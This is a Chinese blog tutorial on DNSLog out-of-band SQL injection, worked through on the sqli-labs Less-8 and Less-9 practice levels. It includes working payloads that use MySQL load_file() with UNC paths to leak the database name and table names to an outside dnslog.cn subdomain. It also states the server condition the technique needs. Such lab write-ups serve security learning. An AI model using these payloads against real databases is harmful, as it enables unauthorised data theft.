SQL注入之DnsLog注入
创始人
2025-06-01 14:39:27
0

一、原理

DnsLog注入并不是一种攻击方式,而是一种让无回显的攻击,变得有回显的方式,或者说是技巧,包括但不限于SQL盲注,下面以盲注为例,需要有盲注的基础。

在解释原理之前,首先了解一下几样东西,如下:

1. load_file函数

Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件

DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。

2. UNC路径

UNC路径格式://servername/sharename/directory/filename

UNC路径就是类似上面这样形式的网络路径。它符合//servername/sharename 格式

  • servername 是服务器名或者域名

  • sharename 是共享资源的名称

UNC 名称可以包括共享名称下的目录路径 /directory/filename

实例及解读: //xclay.net/share/张三/账单.docs

如果访问上述UNC路径的话,就会得到xclay.net 服务器share共享文件夹下的张三文件夹下的账单.docs文件

3. DNS解析

网上找到一张解释DNS解析过程非常通透的图片:

f600c2cd-0986-496c-98ef-6acb995e8a87

上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果

正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。

4. 原理

先看一段payload

and load_file(concat("//",database(),".dfnyy4.dnslog.cn/123")) -- clay通过concat函数来构造UNC路径,并带出我们想要的查询结果
concat("//",database(),".dfnyy4.dnslog.cn/123")123是为了构造UNC路径("//servername/share")随便写的: 
"//数据库名.dfnyy4.dnslog.cn/123"所以我们只要查看查询 .dfnyy4.dnslog.cn 的DNS日志就能够看到整个回显

直接查看DNS日志比较困难,但网上有很多现成的平台:

  • DnsLog(推荐)

原理:

load_file(UNC路径) 远程访问UNC路径中主机的地址,如果是域名将会进行解析并留下记录,通过查看DNS解析记录(DNS日志)来达到有回显的目的。

5. 条件

secure_file_priv值必须为空,否则没办法

d864c2ba-1048-49b0-8c5c-a232fb252bd6

二、实验

1. sqli-lab less8 布尔盲注

特征: 只有错误和正常两种回显,单引号闭合

9d8d66bf-c134-4e6e-b727-a9ec35fe8e42

24600dc5-3d86-47b1-8df3-413c199c2b54

获取域名:

访问 DnsLog 获得一个域名:

4ecc96c6-e299-494e-ad50-f0610a1c3e47

payload:

1' and load_file(concat("//",database(),".u9zk6s.dnslog.cn/123")) -- clay

获取回显

访问

c351daeb-35cf-494b-ba62-ebf8a8f3ee4c

Dnslog 刷新

1f8b8126-3b58-4b50-a6f0-05a871afed17

2. sqli-lab less9 延时盲注

特征: 单引号闭合延时盲注

f39637cb-517a-4a42-bbd4-59cf6885161a

payload:

1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.u9zk6s.dnslog.cn/123')) -- clay

98ed52ce-6aaf-4a35-af96-963a9cd451d1

Ps:如果paylaod没有问题但一直刷新不出来可能是谷歌浏览器的问题,换个浏览器访问一下就可以了

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

相关内容

热门资讯

【MySQL】锁 锁 文章目录锁全局锁表级锁表锁元数据锁(MDL)意向锁AUTO-INC锁...
【内网安全】 隧道搭建穿透上线... 文章目录内网穿透-Ngrok-入门-上线1、服务端配置:2、客户端连接服务端ÿ...
GCN的几种模型复现笔记 引言 本篇笔记紧接上文,主要是上一篇看写了快2w字,再去接入代码感觉有点...
数据分页展示逻辑 import java.util.Arrays;import java.util.List;impo...
Redis为什么选择单线程?R... 目录专栏导读一、Redis版本迭代二、Redis4.0之前为什么一直采用单线程?三、R...
【已解决】ERROR: Cou... 正确指令: pip install pyyaml
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
Lock 接口解读 前置知识点Synchronized synchronized 是 Java 中的关键字,...
Win7 专业版安装中文包、汉... 参考资料:http://www.metsky.com/archives/350.htm...
3 ROS1通讯编程提高(1) 3 ROS1通讯编程提高3.1 使用VS Code编译ROS13.1.1 VS Code的安装和配置...
大模型未来趋势 大模型是人工智能领域的重要发展趋势之一,未来有着广阔的应用前景和发展空间。以下是大模型未来的趋势和展...
python实战应用讲解-【n... 目录 如何在Python中计算残余的平方和 方法1:使用其Base公式 方法2:使用statsmod...
学习u-boot 需要了解的m... 一、常用函数 1. origin 函数 origin 函数的返回值就是变量来源。使用格式如下...
常用python爬虫库介绍与简... 通用 urllib -网络库(stdlib)。 requests -网络库。 grab – 网络库&...
药品批准文号查询|药融云-中国... 药品批文是国家食品药品监督管理局(NMPA)对药品的审评和批准的证明文件...
【2023-03-22】SRS... 【2023-03-22】SRS推流搭配FFmpeg实现目标检测 说明: 外侧测试使用SRS播放器测...
有限元三角形单元的等效节点力 文章目录前言一、重新复习一下有限元三角形单元的理论1、三角形单元的形函数(Nÿ...
初级算法-哈希表 主要记录算法和数据结构学习笔记,新的一年更上一层楼! 初级算法-哈希表...
进程间通信【Linux】 1. 进程间通信 1.1 什么是进程间通信 在 Linux 系统中,进程间通信...
【Docker】P3 Dock... Docker数据卷、宿主机与挂载数据卷的概念及作用挂载宿主机配置数据卷挂载操作示例一个容器挂载多个目...